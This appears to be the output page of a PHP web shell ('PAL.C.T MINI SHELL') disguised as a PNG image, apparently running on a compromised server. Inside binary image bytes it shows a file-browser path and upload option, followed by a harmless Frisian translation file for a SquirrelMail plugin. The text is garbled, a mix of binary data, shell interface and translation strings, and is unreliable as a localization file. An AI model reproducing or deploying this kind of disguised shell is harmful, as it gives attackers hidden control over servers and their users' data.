php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/proc/self/root/usr/share/squirrelmail/locale/fy/LC_MESSAGES/
upload
files >> //proc/self/root/proc/self/root/usr/share/squirrelmail/locale/fy/LC_MESSAGES/unsafe_image_rules.po

# Frisian (fy) unsafe_image_rules Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Rinse de Vries <rinsedevries@kde.nl>, 2007.
# $Id: unsafe_image_rules.pot 10877 2006-03-04 11:22:22Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: unsafe_image_rules\n"
"POT-Creation-Date: 2006-01-17 10:40+0100\n"
"PO-Revision-Date: 2007-04-15 09:53+0200\n"
"Last-Translator: Rinse de Vries <rinsedevries@kde.nl>\n"
"Language-Team: Nederlands <kde-i18n-nl@kde.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"

#: add.php:60
msgid "Safe Sender"
msgstr "Feilige ferstjoerder"

#: add.php:60
#: functions.php:267
#: options.php:84
msgid "Unsafe Image Rules"
msgstr "Regels foar ûnfeilige ôfbylden"

#: add.php:66
msgid "Use the form below to modify the address that will be added to the Unsafe Image Rules."
msgstr "Brûk ûndersteand formulier om de adressen dy't taheakke wurde sille oan de regels foar ûnfeilige ôfbylden oan te passen."

#: add.php:73
#: options.php:173
msgid "From"
msgstr "Fan"

#: add.php:77
#: options.php:193
#: options.php:226
msgid "Contains"
msgstr "Befet"

#: add.php:78
#: options.php:196
#: options.php:226
msgid "Reg.Exp."
msgstr "Regexp."

#: add.php:83
#: options.php:155
msgid "Save"
msgstr "Opslaan"

#: add.php:111
msgid "The following address has been successfully added to the Unsafe Images Rules:"
msgstr "De folgjende adressen binne súksesfol taheakke oan de regels foar ûnfeilige ôfbylden:"

#: add.php:114
msgid "I didn't seem to get a valid email address to add. This shouldn't happen!"
msgstr "Der is gjin jildich e-mailadres ûntfongen om ta te heakjen. Dit mei net barre!"

#: add.php:118
msgid "Sending you back to the message list in five seconds."
msgstr "Jo wurde yn fiif sekonden weromstjoerd nei de berjochtenlist."

#. i18n: The first %s inserts HTML flr starting a link, and the second ends it.
#: add.php:120
#, php-format
msgid "If you are not automatically redirected, please click %shere%s."
msgstr "As jo net automatysk trochstjoerd wurde, klik %shjir%s."

#: functions.php:269
msgid "Set up rules about how unsafe images in HTML messages are handled."
msgstr "Stel regels yn foar hoe't der omgien wurde moat mei ûnfeilige ôfbylden yn HTML-berjochten."

#: functions.php:389
msgid "Always trust images from this sender"
msgstr "Altyd ôfbylden fan dizze ferstjoerder betrouwe"

#: options.php:68
msgid "Saved Trusted Options"
msgstr "Betroud-opsjes opslein"

#: options.php:84
msgid "Options"
msgstr "Opsjes"

#: options.php:92
msgid "Trust all sources:"
msgstr "Alle boarnen betrouwe:"

#: options.php:96
msgid "WARNING!"
msgstr "WARSKOGING!"

#: options.php:97
msgid "This is not recommended by the SquirrelMail Project Team."
msgstr "Dit wurdt net oanrikkemandearre troch it projektteam fan SquirrelMail."

#. i18n: %s inserts a complete link which doesn't need to be i18n.
#: options.php:99
#, php-format
msgid "Read %s for more details. There is a risk you may receive more spam if you check this option."
msgstr "Lês %s foar mear details. It risiko bestiet dat jo mear spam ûntfange as jo dizze opsje ynskeakelje."

#: options.php:101
msgid "If checked unsafe images are always seen."
msgstr "By ynskeakeljen sille ûnfeilige ôfbylden altyd werjûn wurde."

#: options.php:102
msgid "If this option is checked, the state of other options is irrelevant."
msgstr "Dizze opsje makket de status fan alle oare opsjes net-relevant."

#: options.php:107
msgid "Trust sources in address book:"
msgstr "Boarnen yn adresboek betrouwe:"

#: options.php:111
msgid "If checked, unsafe images are shown for messages from anyone in your address book."
msgstr "By ynskeakeljen sille ûnfeilige ôfbylden werjûn wurde fan berjochten dy't ôfkomstich binne fan persoanen út jo adresboek."

#: options.php:115
msgid "Trust anything I send:"
msgstr "Alles dat ik ferstjoer betrouwe:"

#: options.php:119
msgid "If checked, unsafe images are shown for messages sent by any of your identities."
msgstr "By ynskeakeljen sille ûnfeilige ôfbylden toand wurde foar berjochten dy't troch ien fan jo identiteiten ferstjoerd is."

#: options.php:120
msgid "You might not want to set this if you forward Spam to other people, and then go back and read from your 'Sent' folder."
msgstr "Dit wolle jo mooglik net as jo spam-berjochten trochstjoere nei oare persoanen en dêrnei weromgeane en se iepenje yn jo map mei ferstjoerde berjochten."

#: options.php:124
msgid "Trust defined sources:"
msgstr "Definearre boarnen betrouwe:"

#: options.php:128
msgid "If checked, unsafe images are shown for the sources shown below."
msgstr "By ynskeakeljen sille ûnfeilige ôfbylden fan ûndersteande boarnen toand wurde."

#: options.php:134
msgid "When viewing a message with unsafe images, you can quickly add the sender's email address or domain to the Unsafe Image Rules by clicking the 'Always trust images from this sender' link. The following options set the default behavior when the address is being added."
msgstr "At jo in berjocht mei ûnfeilige ôfbylden besjogge kinne jo it e-mailadres of domein fan de ôfstjoerder maklik oan de regels foar ûnfeilige ôfbylden taheakje troch te klikken op 'Altyd ôfbylden fan dizze ôfstjoerder betrouwe'. De folgjende opsjes bepale it standertgedrach as in adres taheakke wurdt."

#: options.php:137
msgid "Always add full email address:"
msgstr "Altyd folsleine e-mailadressen taheakje:"

#: options.php:140
msgid "If selected the full email address of the sender will be added to the Unsafe Image Rules list."
msgstr "By selektearjen sil it folsleine e-mailadres fan de ôfstjoerder taheakke wurde oan de list mei regels foar ûnfeilige ôfbylden."

#: options.php:142
msgid "Always add full domain:"
msgstr "Altyd folslein domein taheakje:"

#: options.php:145
msgid "If selected only the domain of the sender will be added to the Unsafe Image Rules list."
msgstr "By selektearjen sil allinnich it domein fan de ôfstjoerder taheakke wurde oan de list mei regels foar ûnfeilige ôfbylden."

#: options.php:147
msgid "Always ask:"
msgstr "Altyd freegje:"

#: options.php:150
msgid "Ask what to add to the Unsafe Image Rules list."
msgstr "Freget wat jo taheakje wolle oan de list mei regels foar ûnfeilige ôfbylden."

#: options.php:158
msgid "Add New Rule"
msgstr "Nije regel taheakje"

#: options.php:159
msgid "Done"
msgstr "Dien"

#: options.php:167
msgid "Trust source if "
msgstr "Boarne betrouwe as "

#: options.php:176
msgid "To"
msgstr "Oan"

#: options.php:179
msgid "Cc"
msgstr "CC"

#: options.php:182
msgid "To or Cc"
msgstr "Oan of CC"

#: options.php:185
msgid "Subject"
msgstr "Underwerp"

#: options.php:204
msgid "NB"
msgstr "Opmerking"

#: options.php:206
msgid "When specifying a Reg.Exp you must include delimeters."
msgstr "As jo in reguliere ekspresje opjouwe moatte jo skiedingstekens ynslute."

#: options.php:207
msgid "The 'Contains' check will be done with case-insensitive match."
msgstr "De 'Befet'-kontrole sil útfierd wurde mei haadletterûngefoelige oerienkomming."

#: options.php:209
msgid "Submit"
msgstr "Yntsjinje"

#: options.php:219
msgid "Edit"
msgstr "Bewurkje"

#: options.php:221
msgid "Delete"
msgstr "Wiskje"

#. i18n: If [field] [Contains|Reg.Exp.] [user defined data]
#: options.php:224
#, php-format
msgid "If %s %s %s"
msgstr "As %s %s %s"

#: options.php:230
msgid "This doesn't look like a valid Reg.Exp."
msgstr "Dit sjocht der net út as in  jildige reguliere ekspresje."

#: options.php:230
msgid "WARNING:"
msgstr "WARSKOGING:"

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`